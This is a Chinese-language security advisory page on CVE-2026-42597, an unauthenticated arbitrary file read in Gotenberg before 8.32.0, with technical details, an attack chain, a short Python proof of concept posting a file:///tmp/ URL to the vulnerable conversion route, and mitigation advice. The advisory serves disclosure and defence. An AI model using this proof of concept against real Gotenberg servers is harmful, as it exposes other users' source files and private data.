IPBUF安全漏洞报告
English
CVE-2026-42597 CVSS 5.9 中危

CVE-2026-42597 Gotenberg 任意文件读取漏洞

披露日期: 2026-05-14

漏洞信息

漏洞编号
CVE-2026-42597
漏洞类型
任意文件读取
CVSS评分
5.9 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Gotenberg

相关标签

任意文件读取Gotenberg路径遍历SSRF

漏洞概述

Gotenberg是一个基于Docker的无状态API,用于处理PDF文件。在8.32.0版本之前,其特定路由存在安全漏洞,允许匿名用户通过file:///tmp/协议读取本地文件。由于缺乏AllowedFilePrefixes限制,攻击者可绕过Chromium安全机制,枚举临时目录并窃取其他并发请求的敏感源文件。该漏洞可能导致用户隐私泄露,建议尽快升级修复。

技术细节

该漏洞源于Gotenberg在处理URL转换请求时对文件加载策略的不当实施。虽然HTML/Markdown路由使用了AllowedFilePrefixes来限制file:///tmp/的访问范围,但/forms/chromium/convert/url和/forms/chromium/screenshot/url路由未设置此守卫。攻击者可利用url=file:///tmp/...参数绕过默认的Chromium拒绝列表。由于作用域守卫被静默跳过,攻击者能够遍历/tmp/目录,访问Gotenberg的请求工作目录,进而读取其他正在进行转换的会话的原始源文件。这本质上是一个无需认证的路径遍历漏洞。

攻击链分析

STEP 1
侦察
攻击者发现目标运行的是Gotenberg服务,且版本低于8.32.0。
STEP 2
构造恶意请求
攻击者向`/forms/chromium/convert/url`端点发送POST请求,并将url参数设置为`file:///tmp/...`。
STEP 3
绕过安全检查
由于该端点未设置AllowedFilePrefixes,Gotenberg允许从/tmp/读取文件,绕过了Chromium的默认限制。
STEP 4
目录遍历与数据窃取
攻击者枚举/tmp/目录下的子目录,找到其他请求的临时工作目录,并读取其中的源文件内容。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit_poc(target_host): """ PoC for CVE-2026-42597 Demonstrates reading a file from /tmp/ using the vulnerable URL route. """ # The vulnerable endpoint for URL conversion endpoint = f"{target_host}/forms/chromium/convert/url" # Malicious payload pointing to a file in /tmp/ # In a real attack, the attacker would guess the specific working directory # or enumerate files in /tmp/ data = { "url": "file:///tmp/sensitive_source_file.html" } try: print(f"[*] Sending request to {endpoint}...") response = requests.post(endpoint, data=data) if response.status_code == 200: print("[+] Request successful. The file content might be in the response/PDF.") print(f"[+] Response length: {len(response.content)} bytes") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Example usage target = "http://localhost:3000" exploit_poc(target)

影响范围

Gotenberg < 8.32.0

防御指南

临时缓解措施
如果无法立即升级,建议通过防火墙或API网关限制对受影响路由的访问,仅允许受信任的IP地址或经过身份验证的用户调用,防止攻击者利用该接口读取本地文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表